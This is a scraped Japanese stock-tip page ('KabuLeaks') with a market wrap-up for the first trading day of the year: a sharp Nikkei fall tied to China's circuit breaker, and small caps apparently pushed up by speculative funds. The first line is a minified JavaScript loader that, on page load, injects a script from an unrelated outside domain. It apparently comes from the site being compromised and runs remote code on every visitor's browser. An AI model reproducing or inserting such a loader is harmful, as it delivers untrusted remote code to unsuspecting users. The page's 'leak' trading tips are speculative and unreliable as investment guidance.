;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/4 大発会 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/4 大発会 大引け】

大発会の本日の日経平均株価は582円安と大幅反落。後場も前場流れを引き継ぎ売り優勢でスタートすると更に下げ幅を拡大。要因としては中国市場で株価急落によりサーキットブレーカーが発動。リスク回避の動きが強まり後場一段安に。終値での1万8500円割れは15年10月22日(1万8435円)以来で目先は下値模索となる可能性が強そうだ。業種別では、33業種中値上がりは鉱業、石油石炭製品の2業種のみ。一方、食料品、化学、輸送用機器、倉庫運輸関連などが値下がり率上位となった。

個別では、特定資金の仕掛け的な動きから【7853】フード・プラネット、【6862】ミナトホールディングスなどが大幅上昇。【8704】トレイダーズホールディングスも年末からの上昇止まらず新値更新と上昇が目立ったいました。その他、ISクラウドソリューションが自動運転車分野でも注目されるとして【2303】ドーン、ドローン分野などへの展開に期待が高まるとして【4316】ビーマップなどがストップ高に。

地合い悪化から新興株の人気のテーマ株。フィンテック関連、ドローン関連などの上げ幅縮小、急落など警戒されるもほとんどの銘柄は高値圏をキープして引ける形となった。

日経平均は節目の下値サポートとして意識される1万8500円を引けで下回り目先は下値模索への展開が濃厚。中国市場はサーキットブレーカー発動しており、目先何処まで下げるかしっかり見極めへ。短期的な仕掛けを警戒し、引き続き人気のテーマ株で短期売買。主力の押し目は狙いは慎重に、下げ止まりを確認できるまでは下手に手を出さないのが無難だと思う。